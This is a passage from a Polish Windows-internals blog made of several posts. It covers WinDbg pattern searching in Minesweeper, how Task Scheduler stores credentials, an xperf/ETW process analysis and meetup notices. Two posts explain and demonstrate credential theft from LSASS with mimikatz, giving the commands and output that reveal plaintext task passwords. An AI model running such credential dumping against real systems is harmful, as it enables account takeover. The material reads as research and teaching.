    010036c3  30 53 00 01 ff 35 34 53-00 01 e8 6e 02 00 00 ff  0S...54S...n....
    010036ff  30 53 00 01 75 c2 8b 0d-38 53 00 01 0f af 0d 34  0S..u...8S.....4
    01003721  30 53 00 01 a3 94 51 00-01 89 3d a4 57 00 01 89  0S....Q...=.W...

    Sprawdźmy adresy z wyników wyszukiwania:

    0:000> ln 010036c3 
    (0100367a)   winmine!StartGame+0x49   |  (0100374f)   winmine!MakeGuess
    0:000> ln 010036ff 
    (0100367a)   winmine!StartGame+0x85   |  (0100374f)   winmine!MakeGuess
    0:000> ln 01003721 
    (0100367a)   winmine!StartGame+0xa7   |  (0100374f)   winmine!MakeGuess

    A zatem odwołanie do cBombStart występuje w funkcji StartGame. Zobaczmy zatem samą funkcję:

    0:000> u winmine!StartGame L37
    winmine!StartGame:
    0100367a a1ac560001      mov     eax,dword ptr [winmine!Preferences+0xc (010056ac)]
    0100367f 8b0da8560001    mov     ecx,dword ptr [winmine!Preferences+0x8 (010056a8)]
    01003685 53              push    ebx
    01003686 56              push    esi
    01003687 57              push    edi
    01003688 33ff            xor     edi,edi
    0100368a 3b0534530001    cmp     eax,dword ptr [winmine!xBoxMac (01005334)]
    01003690 893d64510001    mov     dword ptr [winmine!fTimer (01005164)],edi
    01003696 750c            jne     winmine!StartGame+0x2a (010036a4)
    01003698 3b0d38530001    cmp     ecx,dword ptr [winmine!yBoxMac (01005338)]
    0100369e 7504            jne     winmine!StartGame+0x2a (010036a4)
    010036a0 6a04            push    4
    010036a2 eb02            jmp     winmine!StartGame+0x2c (010036a6)
    010036a4 6a06            push    6
    010036a6 5b              pop     ebx
    010036a7 a334530001      mov     dword ptr [winmine!xBoxMac (01005334)],eax
    010036ac 890d38530001    mov     dword ptr [winmine!yBoxMac (01005338)],ecx
    010036b2 e81ef8ffff      call    winmine!ClearField (01002ed5)
    010036b7 a1a4560001      mov     eax,dword ptr [winmine!Preferences+0x4 (010056a4)]
    010036bc 893d60510001    mov     dword ptr [winmine!iButtonCur (01005160)],edi
    010036c2 a330530001      mov     dword ptr [winmine!cBombStart (01005330)],eax
    010036c7 ff3534530001    push    dword ptr [winmine!xBoxMac (01005334)]
    010036cd e86e020000      call    winmine!Rnd (01003940)
    010036d2 ff3538530001    push    dword ptr [winmine!yBoxMac (01005338)]
    010036d8 8bf0            mov     esi,eax
    010036da 46              inc     esi
    010036db e860020000      call    winmine!Rnd (01003940)
    010036e0 40              inc     eax
    010036e1 8bc8            mov     ecx,eax
    010036e3 c1e105          shl     ecx,5
    010036e6 f684314053000180 test    byte ptr winmine!rgBlk (01005340)[ecx+esi],80h
    010036ee 75d7            jne     winmine!StartGame+0x4d (010036c7)
    010036f0 c1e005          shl     eax,5
    010036f3 8d843040530001  lea     eax,winmine!rgBlk (01005340)[eax+esi]
    010036fa 800880          or      byte ptr [eax],80h
    010036fd ff0d30530001    dec     dword ptr [winmine!cBombStart (01005330)]
    01003703 75c2            jne     winmine!StartGame+0x4d (010036c7)
    01003705 8b0d38530001    mov     ecx,dword ptr [winmine!yBoxMac (01005338)]
    0100370b 0faf0d34530001  imul    ecx,dword ptr [winmine!xBoxMac (01005334)]
    01003712 a1a4560001      mov     eax,dword ptr [winmine!Preferences+0x4 (010056a4)]
    01003717 2bc8            sub     ecx,eax
    01003719 57              push    edi
    0100371a 893d9c570001    mov     dword ptr [winmine!cSec (0100579c)],edi
    01003720 a330530001      mov     dword ptr [winmine!cBombStart (01005330)],eax
    01003725 a394510001      mov     dword ptr [winmine!cBombLeft (01005194)],eax
    0100372a 893da4570001    mov     dword ptr [winmine!cBoxVisit (010057a4)],edi
    01003730 890da0570001    mov     dword ptr [winmine!cBoxVisitMac (010057a0)],ecx
    01003736 c7050050000101000000 mov dword ptr [winmine!fStatus (01005000)],1
    01003740 e825fdffff      call    winmine!UpdateBombCount (0100346a)
    01003745 53              push    ebx
    01003746 e805e2ffff      call    winmine!AdjustWindow (01001950)
    0100374b 5f              pop     edi
    0100374c 5e              pop     esi
    0100374d 5b              pop     ebx
    0100374e c3              ret

    Mamy zatem 3 instrukcje, w których występuje odniesienie do cBombStart. Adres cBombStart poprzedzony jest ciągiem:
    a3
    80 08 80 ff 0d
    a3
    odpowiednio w pierwszym, drugim oraz trzecim wystąpieniu, przy czym starałem się brać względnie długi ciąg, który nie jest poprzedzony żadnym symbolem. I teraz myk: przeszukujemy interesujący nas obszar pamięci na wystąpienie powyższych ciągów. Pierwszy i trzeci z góry możemy sobie darować - są za krótkie i na pewno występują więcej niż 1 raz, jednak drugi wygląda zachęcająco:

    0:000> s -b 01000000 L?0x00020000 80 08 80 ff 0d
    010036fa  80 08 80 ff 0d 30 53 00-01 75 c2 8b 0d 38 53 00  .....0S..u...8S.

    Sprawdzamy (dodajemy 5 ze względu na 5 bajtów wzorca):

    0:000> dd 010036fa+5 L1
    010036ff  01005330

    i oczywiście wszystko się zgadza!

    Mamy tylko 1 wystąpienie, a zatem możemy zaproponować następujący ‘algorytm’ wyszukania zawartości tablicy rgBlk bez użycia symboli:
    1. Znajdź położenie w pamięci modułu winmine.exe: adres bazowy oraz rozmiar.
    2. Przeszukaj obszar modułu na wystąpienie wzorca 80 08 80 ff 0d
    3. Do znalezionego adresu dodaj 5
    4. Z tak ustalonego miejsca odczytaj 4-bajtowy adres
    5. Znaleziony adres wskazuje na początek struktury, dodaj zatem do niego 16 aby uzyskać początek tablicy przechowującej położenie bomb.

    Proste? :)

    No to teraz wyobraźcie sobie, że macie dwa procesy: jeden ‘atakowany’ i drugi własny, nad którym macie pełną kontrolę i w przypadku padu nikogo nic nie zaboli. Do własnego procesu ładujecie interesujący was moduł (np. winmine.exe). Z atakowanego odczytujecie interesujące  was informacje, kopiujecie w odpowiednie miejsce do własnego procesu, po czym uruchamiacie jakąś funkcję modułu (np. StartGame), która w jakiś sposób korzysta ze skopiowanych danych.
    A teraz wyobraźcie sobie, że zamiast winmine.exe sięgacie do procesu lsass.exe i kopiujecie z obszaru zajmowanego przez lsasrv.dll klucze wykorzystywane przez lsass do szyfrowania i deszyfrowania danych, oczywiście znajdując je przy pomocy odpowiednich ‘magicznych’ ciągów bajtów. W swoim procesie ładujecie lsasrv.dll i inicjalizujecie odpowiednie struktury danych tymi odczytanymi z żywego procesu lsass.exe. A teraz swobodnie z nich korzystacie szyfrując i deszyfrując dane tak, jakby to zrobił sam lsass.
    Skoro dotarliście do tego miejsca, to posuńcie się krok dalej i wyobraźcie sobie, że odczytujecie dane ze zrzutu pamięci procesu lsass.exe z innego komputera (o tej samej wersji systemu i architekturze), wrzucacie do własnego procesu, w którym załadowaliście sobie lsasrv.dll i wykonujecie te same czynności, które opisałem wyżej.

    Abstrakcja? Otóż dokładnie na tej zasadzie działają ostatnie wersje mimikatz (wspomniałem o nim w poprzednim wpisie) - żadnego ładowania dodatkowych bibliotek do procesu lsass.exe - po prostu search & read, a wszystkie operacje wykonywane są w ramach procesu mimikatz.exe, który ładuje lokalnie odpowiednią wersję lsasrv.dll. A jako bonus - dodany przez Benjamina na moją specjalną prośbę - odczytywanie haseł wprost ze zrzutów pamięci :)

    opublikowano 17 kwietnia 2013 22:40 przez mgrzeg | 0 komentarzy
    Filed under: , , ,
  • LogonUser & TaskEng, cz. 2

    W części pierwszej wskazałem miejsce, w którym przechowywana jest para user/password, jednak wspomniałem, iż z kodu użytkownika nie ma za bardzo szans na wyciągnięcie jej, vide opis struktury CREDENTIAL:

    "If the Type member is CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. The CredentialBlob and CredentialBlobSize members do not include a trailing zero character. Also, for CRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages."

    Jak widać, hasło jest _plaintext_, jednak aby się do niego dobrać, musimy skorzystać z kawałka kodu działającego w ramach LSASS, który wykona niedostępne dla nas CredIEnumerate (nieudokumentowana), CrediReadDomainCredentials, a wynikowe poświadczenia dodatkowo potraktuje LsaUnprotectMemory.

    Z pomocą przychodzi nam tu świetny mimikatz Benjamina Delpy, a dokładniej biblioteka sekurlsa.dll. Uruchamiamy mimikatz (jako administrator):

    >mimikatz.exe
    mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Jan 23 2013 19:49:52) */
    // http://blog.gentilkiwi.com/mimikatz

    Ustawiamy sobie przywilej debugowania

    mimikatz # privilege::debug
    Demande d'ACTIVATION du privilcge : SeDebugPrivilege : OK

    Wciskamy sekurlsa.dll do usługi samss

    mimikatz # inject::service samss sekurlsa.dll
    SERVICE(samss).serviceDisplayName = Security Accounts Manager
    SERVICE(samss).ServiceStatusProcess.dwProcessId = 528
    Attente de connexion du client...
    Serveur connecté r un client !
    Message du processus :
    Bienvenue dans un processus distant
                            Gentil Kiwi

    SekurLSA : librairie de manipulation des données de sécurités dans LSASS
    [CIAP]

    Odczytujemy poświadczenia z pamięci procesu lsass:

    mimikatz # @getCredman full

    [CIAP]
    Authentification Id         : 0;999
    Package d'authentification  : NTLM
    Utilisateur principal       : VM7$
    Domaine d'authentification  : WORKGROUP
            credman :
             * [0] Target   : Domain:batch=TaskScheduler:Task:{21E1C13A-0231-4FDB-BC
    89-454F1F286F67} / <NULL>
             * [0] Comment  : <NULL>
             * [0] User     : VM7\admin3
                   [0] User : VM7\admin3
                   [0] Cred : Pa$$w0rd3

             * [1] Target   : Domain:batch=TaskScheduler:Task:{2A1D3112-9563-4856-80
    C3-1EE6AAB76FC6} / <NULL>
             * [1] Comment  : <NULL>
             * [1] User     : VM7\admin2
                   [0] User : VM7\admin2
                   [0] Cred : Pa$$w0rd1

    Nie przejmujcie się francuskim - ze względu na dużą popularność tego narzędzia Benjamin zdecydował się przejść na angielski i ostatnie (i przyszłe) wersje będą już w tym języku.

  • LogonUser & TaskEng, cz. 1

    Miesiąc temu pisałem o analizie logów ETW w odniesieniu do informacji, jakie możemy znaleźć w Sysinternalsowych autorunsach i zatrzymaliśmy się na ustaleniu jakie zadania zaplanowane uruchamiane są w trakcie startu systemu. Dziś przyjrzymy się nieco bliżej samemu startowi zadań.

    Harmonogram zadań

    Zacznijmy od utworzenia zadania. Jestem zalogowany jako Admin1, jednak zadanie (uruchomienie cmd.exe) ma być wykonane przez użytkownika admin2. Podczas zapisywania zadania poproszony jestem o wpisanie hasełka użytkownika admin2, które grzecznie zapodaję.

    Rys 1. Ustawienia testowego zadania

    Zadanie mamy gotowe, teraz spróbujmy je uruchomić. Zaczynamy od uruchomienia API Monitora i ustawienia monitorowania usługi Task Scheduler.
    Zadanie uruchamiamy ręcznie - na liście procesów pojawił się proces taskeng.exe działający w kontekście użytkownika admin2 oraz pochodny do niego cmd.exe, jako właściwe zadanie zlecone w konfiguracji, również uruchomione jako admin2.

    Rys 2. Drzewo procesów usługi Scheduler

    Na liście uchwytów procesu hosta usługi Scheduler pojawia się dodatkowy żeton powiązany z użytkownikiem admin2. Możemy się więc domyślać, że gdzieś nastąpiło uwierzytelnienie użytkownika admin2 i ślad tego znajdziemy w zapisie API Monitora.

    Rys 3. API Monitor - LogonUserW & CreateProcessAsUserW

    Zaglądamy zatem do okna APIMona, przyglądamy się parametrom funkcji LogonUser i co widzimy? Nazwa użytkownika to jakiś nic nie mówiący ciąg znaków, a hasło i domena = NULL. Funkcja zwraca TRUE, a utworzony żeton trafia do funkcji CreateProcessAsUser, która tworzy proces taskeng.exe z odpowiednimi parametrami. Ale zaraz, jak? Tak bez hasła?

    Poniżej lista parametrów funkcji LogonUserW oraz CreateProcessAsUserW z APIMona:

    LogonUserW
    # Type Name Pre-Call Value Post-Call Value
    1 LPTSTR lpszUsername 0x00000000033be230 "@@CyBAAAAUBQYAMHArBwUAMGAoBQZAQGA1BAbAUGAyBgOAQFAhBwcAsGA6AweAIDABBQMAQEAzAQMAEDAyAQLAkDA1AgNAMDAtAANAgDA1AgNA0CA4AAMAMEAzAQLAEDAFBQRAYDABBQQAIEA3AgNAYEADBgNA0HA" 0x00000000033be230 "@@CyBAAAAUBQYAMHArBwUAMGAoBQZAQGA1BAbAUGAyBgOAQFAhBwcAsGA6AweAIDABBQMAQEAzAQMAEDAyAQLAkDA1AgNAMDAtAANAgDA1AgNA0CA4AAMAMEAzAQLAEDAFBQRAYDABBQQAIEA3AgNAYEADBgNA0HA"
    2 LPTSTR lpszDomain NULL NULL
    3 LPTSTR lpszPassword NULL NULL
    4 DWORD dwLogonType LOGON32_LOGON_BATCH LOGON32_LOGON_BATCH
    5 DWORD dwLogonProvider LOGON32_PROVIDER_DEFAULT LOGON32_PROVIDER_DEFAULT
    6 PHANDLE phToken 0x0000000001a6b6b8 = 0xffffffffffffffff 0x0000000001a6b6b8 = 0x00000000000004c8

    CreateProcessAsUserW
    # Type Name Pre-Call Value Post-Call Value
    1 HANDLE hToken 0x0000000000000cd0 0x0000000000000cd0
    2 LPCTSTR lpApplicationName 0x000007fefa20b9c0 "taskeng.exe" 0x000007fefa20b9c0 "taskeng.exe"
    3 LPTSTR lpCommandLine 0x0000000001a65d10 "taskeng.exe {88636F2B-B600-45DC-8A24-A3401806953A} S-1-5-21-580747136-2243477503-2994681153-1004:VM7\admin2:Password:LUA" 0x0000000001a65d10 "taskeng.exe {88636F2B-B600-45DC-8A24-A3401806953A} S-1-5-21-580747136-2243477503-2994681153-1004:VM7\admin2:Password:LUA"
    4 LPSECURITY_ATTRIBUTES lpProcessAttributes NULL NULL
    5 LPSECURITY_ATTRIBUTES lpThreadAttributes NULL NULL
    6 BOOL bInheritHandles FALSE FALSE
    7 DWORD dwCreationFlags BELOW_NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT BELOW_NORMAL_PRIORITY_CLASS | CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT
    8 LPVOID lpEnvironment 0x000000000325aed0 0x000000000325aed0
    9 LPCTSTR lpCurrentDirectory NULL NULL
    10 LPSTARTUPINFO lpStartupInfo 0x0000000001d6f090 = { cb = 0x00000000, lpReserved = NULL, lpDesktop = 0x000007fefa200e94  ...} 0x0000000001d6f090 = { cb = 0x00000000, lpReserved = NULL, lpDesktop = 0x000007fefa200e94  ...}
    11 LPPROCESS_INFORMATION lpProcessInformation 0x0000000001a65b88 = { hProcess = NULL, hThread = NULL, dwProcessId = 0x00000000  ...} 0x0000000001a65b88 = { hProcess = 0x0000000000000b80, hThread = 0x00000000000001ec, dwProcessId = 0x000009a4  ...}

    Dla porównania utworzyłem drugie zadanie: user admin3, a nazwa użytkownika przekazana do LogonUserW zgadzała się tylko do pewnego miejsca:
    @@CyBAAAAUBQYAMHArBwUAMGAoBQZAQGA1BAbAUGAyBgOAQFAhBwcAsGA6AweAY

    LogonUser

    Dokumentacja funkcji LogonUser oczywiście milczy - w parametrze password ma być password, a user name może być co najwyżej postaci user@domain, a wówczas domain może być NULL.
    Odpowiedzi należy szukać w strukturze USERNAME_TARGET_CREDENTIAL_INFO, która zawiera odniesienie do poświadczeń, które po przekształceniu przez funkcję CredMarshalCredential można w postaci tekstowej przekazać do funkcji LogonUser.
    Używamy zatem funkcji CredUnMarshalCredential i sprawdzamy, co też kryje się w polu UserName naszej struktury:

    LPCTSTR testStr = TEXT("@@CyBAAAAUBQYAMHArBwUAMGAoBQZAQGA1BAbAUGAyBgOAQFAhBwcAsGA6AweAIDABBQMAQEAzAQMAEDAyAQLAkDA1AgNAMDAtAANAgDA1AgNA0CA4AAMAMEAzAQLAEDAFBQRAYDABBQQAIEA3AgNAYEADBgNA0HA");
    CRED_MARSHAL_TYPE credType;
    PVOID credential = NULL;
    PUSERNAME_TARGET_CREDENTIAL_INFO target;

    if(CredUnmarshalCredential(testStr, &credType, &credential))
    {
      target = (PUSERNAME_TARGET_CREDENTIAL_INFO) credential;
    }

    i otrzymujemy:

    (*target).UserName = "TaskScheduler:Task:{2A1D3112-9563-4856-80C3-1EE6AAB76FC6}"

    Po przeszukaniu rejestru trafiamy na jedno wystąpienie tego GUIDa:

    C:\Windows\system32>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
    \Schedule\CredWom\S-1-5-21-580747136-2243477503-2994681153-1004"

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CredWom
    \S-1-5-21-580747136-2243477503-2994681153-1004
        Count    REG_DWORD    0x1
        Index    REG_SZ    {2A1D3112-9563-4856-80C3-1EE6AAB76FC6}

    który powiązany jest z SIDem admin2

    >PsGetsid.exe admin1

    SID for VM7\admin1:
    S-1-5-21-580747136-2243477503-2994681153-1003

    >PsGetsid.exe admin2

    SID for VM7\admin2:
    S-1-5-21-580747136-2243477503-2994681153-1004

    >PsGetsid.exe admin3

    SID for VM7\admin3:
    S-1-5-21-580747136-2243477503-2994681153-1005

    a tuż obok niego mamy oczywiście sam task:

    C:\Windows\system32>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
    \Schedule\TaskCache\Tree\mgrzeg\Task1"

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCac
    he\Tree\mgrzeg\Task1
        Id    REG_SZ    {0CA98720-47BB-4F3B-B07D-B4D0B0695B00}
        Index    REG_DWORD    0x3

    C:\Windows\system32>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
    \Schedule\TaskCache\Tasks\{0CA98720-47BB-4F3B-B07D-B4D0B0695B00}"

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCac
    he\Tasks\{0CA98720-47BB-4F3B-B07D-B4D0B0695B00}
        Path    REG_SZ    \mgrzeg\Task1
        Hash    REG_BINARY    091FD988913AEF5F194C2A2AC9B972E08DAC1067525EDFE8DC6B5C
    5B19F084A7
        Triggers    REG_BINARY    150000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00
    FFFFFFFFFFFFFF000000000000000038214400484848486650632448484848004848484848484800
    4848484848484801000000484848481C00000048484848010500000000000515000000807F9D22FF
    BFB88541357FB2EC030000484848481A0000004848484856004D0037005C00610064006D0069006E
    00320000006B000000484848484848380000004848484800000000FFFFFFFF80F40300FFFFFFFF07
    000000000000000000000000000000000000000000000000000000000000000000000000000000
        DynamicInfo    REG_BINARY    030000000000000000000000DF73838FAC24CE010113040
    000000000

    Bliższe przyjrzenie się (również na koncie systemowym) zawartości kluczy rejestru powiązanych z usługą Scheduler nic nie daje - nie wygląda na to, żeby hasła usług były gdziekolwiek w nim zapisane.
    Wiemy jednak, że mamy do czynienia z poświadczeniem (credential), które być może przechowywane jest w systemowym Menadżerze poświadczeń. Zaglądamy tam zatem i odnajdujemy dwa zapisane poświadczenia w ramach poświadczeń rodzajowych (generic credentials).

    Rys 4. Menadżer poświadczeń

    A więc to tu! Ale zaraz, momencik, nie tak prędko - przecież za uruchamianie zadań odpowiada usługa systemowa, więc co mają do tego poświadczenia znajdujące się w magazynie użytkownika? Szybko usuwam zatem oba poświadczenia, na wszelki wypadek restartuję system i próbuję uruchomić zadanie - działa jak wcześniej. Tak - to tylko kopia i szczerze nie wiem do czego wykorzystywana.

    OK, zatem spróbujmy zajrzeć do menadżera poświadczeń systemu. Użyjemy w tym celu nieco zmodyfikowanej wersji Credential Set Managera i wszystko staje się jasne! :)

    Jak widać na zrzucie, mamy poświadczenia obu naszych zadań, jednak w tym miejscu nie jesteśmy w stanie odczytać haseł. Jak się okazuje, dla poświadczeń typu  CRED_TYPE_DOMAIN_PASSWORD dostęp do bloba z hasłem mają wyłącznie "Authentication Packages", czyli biblioteki uwierzytelnień załadowane przez LSASS, ale o tym w części drugiej - o ile ktoś jeszcze będzie zainteresowany :)

    CredCPAU

    Jakiś czas temu pisałem o narzędziu CPAU i podałem przykład skryptu PS, które pozwala na offline’owe odczytanie pary user/password dla pliku .job CPAU. Troszkę słabo jak na narzędzie przechowywujące hasła. Dałem zadanie, nad którym nikt się do dziś nie pochylił (nie pierwszy i nie ostatni raz, ech :( ), ale nie o tym chciałem mówić.

    Skoro bowiem istnieje taki sposób zapisania hasła, że zwykły użytkownik (a właściwie proces działający w kontekście takiego użytkownika) nie ma możliwości podejrzenia go, to może warto spróbować z tego skorzystać? Tak też naprędce powstał CredCPAU, czyli narządko, które pozwala na uruchamianie w trybie interaktywnym procesów w kontekście innego użytkownika, używając do tego celu poświadczeń zapisanych w credential managerze. Narzędzie jest słabiutko przetestowane, ale dla chętnych dostępne - piszcie.

    Całość oczywiście sprowadza się do żonglowania CredEnumerate + CredMarshalCredential + LogonUser + CreateProcessAsUser, przy czym trzeba dodatkowo pamiętać o uprawnieniach do interaktywnego zestawu Window Station + Desktop. Dodatkowym problemem jest odpowiednie zapisanie poświadczenia - jak widać na powyższym zrzucie, Task scheduler zapisuje je jako Domain:batch, a nam zależy na Domain:interactive, więc cała zabawa polega na znalezieniu odpowiedniego bitu w polu Flags struktury Credential :) No i na koniec - użytkownik musi mieć przywilej SeAssignPrimaryTokenPrivilege, dzięki któremu będzie mógł zmienić podstawowy żeton procesu. Reszta już z górki :)

  • 61. spotkanie WG.NET

    Tym razem gośćmi WG.NET będą Tomek Onyszko oraz Maciej Aniserowicz, którzy opowiedzą o tym "jak hartował się claim … czyli rzecz o tym jak pojęcie tożsamości i kontroli dostępu ewoluowało a rozwiązanie uniwersalne z tego powstało było i jak go w kodzie używać. Rzecz w dwóch odsłonach"

    1. Claim jaki jest każdy widzi, czyli w czym rzecz, jak to działa i co to znaczy – Tomek Onyszko
    2. Jaki jest widać, ale jak go użyć – test driven learning by %

    Pozostaje mi już tylko zaprosić wszystkich w najbliższy czwartek, 28.02 na godzinę 18.00 do sali 328 Wydziału Matematyki i Nauk Informacyjnych Politechniki Warszawskiej, ul. Koszykowa 75.

    opublikowano 25 lutego 2013 18:09 przez mgrzeg | 0 komentarzy
    Filed under: ,
  • Xperf a autoruns

    Podczas startu systemu uruchamianych jest sporo rozmaitych procesów i zaglądając do menadżera zadań często zadajemy sobie pytanie: "a skąd to się tu wzięło?". Najczęściej w takich przypadkach sięgamy po Autoruns Sysinternals, z pomocą którego możemy precyzyjnie ustalić co jest uruchamiane w czasie startu, nie wspominając w tym momencie o innych możliwościach tego narzędzia.


    Rys 1. Autoruns

    Podobnie, mając log xperf możemy czasem zapragnąć odtworzyć drzewo procesów i ustalić rzeczywiste pochodzenie danego procesu. Przygotowując log zgodnie z opisem z poprzednich moich wpisów bez trudu będziemy w stanie to zrobić. Dziś dwa przykłady, resztę pozostawiam wyobraźni i inwencji czytelnika.

    Process Lifetime

    Zaczynamy od sprawdzenia listy procesów wraz z ich czasem życia.


    Rys 2. Process Lifetimes & Generic Events

    Ładujemy plik .etl do xperfview, znajdujemy 'Process Lifetimes', prawa mysz -> Process Summary Table. Przy okazji polecam zapoznanie się z 'Image Summary Table' - można dowiedzieć się jakie pliki były ładowane - ich wersje, etc.
    Dobieramy w kolumnach nazwę, ścieżkę uruchamianego procesu, Process ID, Parent Process ID, sortujemy po Start Time i właściwie mamy wszystko, czego możemy w tym momencie potrzebować.


    Rys 3. Process Lifetimes

    1. Programy uruchamiane przez explorer.exe.
    Na Rys 3 widzimy, że proces z linii 46 (2284) został uruchomiony przez process o ID=1756, czyli explorer.exe z linii 32. Podobnie widzimy, że procesy z linii 45, 47, 50 również mają jako swojego przodka process 1756, a zatem zostały utworzone przez explorer.exe. Możemy się domyślać, że eksplorator załadował te procesy w ramach autostartu.

    2. Taskeng
    Nieco ciekawiej wygląda sprawa procesów 468 (SmartDefrag.exe), 1068 (AutoUpdate.exe), 1212 (AutoSweep.exe), etc., mających wspólny proces macierzysty - 1980, czyli taskeng.exe. Zauważmy, że nie jest to jedyne wystąpienie procesu o tej nazwie - w linii 34 oraz 35 mamy dwa inne, uruchomione jednak z innymi parametrami command line, a jednym z potomków jednego z tych procesów (1880) jest proces o ID=1968 (GoogleUpdate.exe).
    Sam Taskeng.exe jest procesem potomnym procesu svchost.exe (984), który jest hostem m.in. usługi "Harmonogram zadań".

    Generic Events

    Zajrzyjmy teraz w inne miejsce - do 'Generic Events'. Prawa mysz -> 'Summary Table'. Ustawiamy sobie Provider Name, Event Name, Process Name, Task Name, a z prawej Count, Opcode Name, Time, Task, Opcode i kolejne Field 1, 2, etc.

    1. Explorer
    Znajdujemy dostawcę o nazwie 'Microsoft-Windows-Shell-Core', rozwijamy listę zdarzeń i znajdujemy 'Microsoft-Windows-Shell-Core/Explorer_ExecutingFromRunKey/win:Start', po czym ponownie rozwijamy. Po dalszych kilku '+' bez trudu odnajdziemy w Field 1 ścieżki do procesów, które widzieliśmy poprzednio na liście procesów. Zauważmy przy okazji, że znaleźliśmy też process runonce.exe (na liście ID=2292) oraz jego proces potomny (AvastUI, 2364), także uruchamiane w ramach tego tasku.


    Rys 4. Explorer -> Run

    2. Taskeng
    Podobnie jak wyżej, rozwijamy provider 'Microsoft-Windows-TaskScheduler', znajdujemy zdarzenie 'Microsoft-Windows-TaskScheduler/task:JobExecute/win:Start' i klikając dalsze '+' dochodzimy do listy zadań, które bez trudu odnajdziemy w Harmonogramie zadań. Nieco niżej znajdziemy zadanie 'Microsoft-Windows-TaskScheduler/task:LogonTrigger/win:Info', czyli zestaw zadań uruchomionych podczas logowania. W pozostałych polach znajdziemy takie informacje jak UserContext (tudzież UserName), czy InstanceId, ale o tym innym razem.


    Rys 5. Task scheduler - spojrzenie z xperf

    Gdy przyjrzymy się jeszcze raz procesom z Process Lifetimes oraz ich odpowiednikom w Generic Events, to okaże się, że każda instancja taskeng.exe powiązana jest z innym użytkownikiem i to ona uruchamia kolejne zadania.

    Dzięki prostemu powiązaniu listy procesów ze zdarzeniami, które nie mają swojego dedykowanego wykresu i trafiły do Generic Events udało nam się zrekonstruować źródła tworzenia procesów, co na pewno może ułatwić podjęcie decyzji co z nimi dalej robić: zachować, czy jednak usunąć.

    W ten oto piękny sposób dotarliśmy do miejsca będącego wstępem do kolejnego wpisu, w którym popatrzymy, co też możemy wygrzebać z lsass.exe odnośnie harmonogramu zadań i dlaczego następujące wywołanie:
    LogonUserW("@@CyBAAAAUBQYAMHArBwUAMGAoBQZAQGA1BAbAUGAyBgOAQFAhBwcAsGA6AweAMEA3AQNAEEADBwMAMDA0AQLAQEAwAANAcDAtAANAcDA3AwQA0CABBANAQDA4AQLAIDAGBQQAkDACBAMAADACBAOAIDA0AQNA0HA", NULL, NULL, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, 0x0000000001635648)
    w ramach usługi "Task Scheduler" kończy się sukcesem i utworzeniem żetonu użytkownika, pomimo przedziwnej nazwy użytkownika i nulla w miejscu domeny i hasła.

  • 60. spotkanie WG.NET

    Po kilkumiesięcznej przerwie wracamy do spotkań grupy. Kolejne już w najbliższy czwartek, 17.01 o 18.00 w sali 107 Wydziału Matematyki i Nauk Informacyjnych Politechniki Warszawskiej, ul. Koszykowa 75. Tomasz Kowalczyk poprowadzi prezentację "Kinect programowanie w Windows". Poniżej więcej szczegółów:

    Agenda
    ======
    1. Co to jest Kinect?
    2. Wprowadzenie.
    2.1. Kinect – budowa i architektura
    2.2. Instalacja Kinect
    2.3. Pierwszy projekt
    3. Przetwarzanie danych z kamery RGB
    4. Praca z kamerą głębokości
    5. Tryb Skeletal tracking
    6. Audio API
    6.1. Rozpoznawanie mowy
    7. Wykorzystanie XNA
    7.1. Event model
    7.2. Pooling model
    8. Kinect i aplikacje klient - serwer
    9. Licencja aplikacji opartych o Kinect
    10. Ciekawe projekty
    10.1 Kinsector
    10.2 Augmented Reality
    10.3 NatuLearn
    10.4 Kinect Fusion
    10.5 Kinected Browser

    No cóż, nie pozostaje mi nic innego jak wszystkich gorąco zaprosić! :))

    opublikowano 14 stycznia 2013 18:05 przez mgrzeg | 0 komentarzy
    Filed under:
  • ETW - providery + target dla NLoga

    Jednym z podstawowych elementów architektury ETW są dostawcy zdarzeń, czyli ETW providers. Dostawca ma nazwę, guid i parę innych rzeczy, a jego podstawowym zadaniem jest dostarczanie zdarzeń w ramach sesji ETW (zwanej także loggerem). Sesja zostaje utworzona przez kontroler (ETW controller), czyli narzędzie takie jak np. xperf, logman, wpr, czy perfview, którym dzisiaj trochę się pobawimy. Po zakończeniu sesji możemy przejrzeć zawartość logu, korzystając z narzędzia do parsowania i analizy logów (ETW consumer) - czyli np. omawianymi w poprzednim wpisie xperf, xperfview, wpa, ale także perfview, czy event viewer, żeby wymienić tylko kilka.

    Listę aktywnych sesji w systemie, wraz z wieloma informacjami (nazwa, rozmiar bufora, flagi, etc.) możemy uzyskać za pomocą:

    >xperf -loggers
    Logger Name           : Circular Kernel Context Logger
    Logger Id             : 2
    Logger Thread Id      : 0000000000000000
    Buffer Size           : 4
    Maximum Buffers       : 2
    Minimum Buffers       : 2
    Number of Buffers     : 2
    Free Buffers          : 1
    Buffers Written       : 0
    Events Lost           : 0
    Log Buffers Lost      : 0
    Real Time Buffers Lost: 0
    Flush Timer           : 0
    Age Limit             : 0
    Log File Mode         : Secure Buffered <0x10000000>
    Maximum File Size     : 0
    Log Filename          :
    Trace Flags           : LOADER+HARD_FAULTS
    PoolTagFilter         : *

    Logger Name           : Audio
    Logger Id             : 4
    Logger Thread Id      : 0000000000000000
    Buffer Size           : 4
    Maximum Buffers       : 2
    Minimum Buffers       : 2
    Number of Buffers     : 2
    Free Buffers          : 1
    Buffers Written       : 0
    Events Lost           : 0
    Log Buffers Lost      : 0
    Real Time Buffers Lost: 0
    Flush Timer           : 0
    Age Limit             : 0
    Log File Mode         : Buffered LocalSeqNo <0x10000000>
    Maximum File Size     : 2
    Log Filename          :
    Trace Flags           : e27950eb-1768-451f-96ac-cc4e14f6d3d0:0x7fffffff:0x4
    [CIACH]

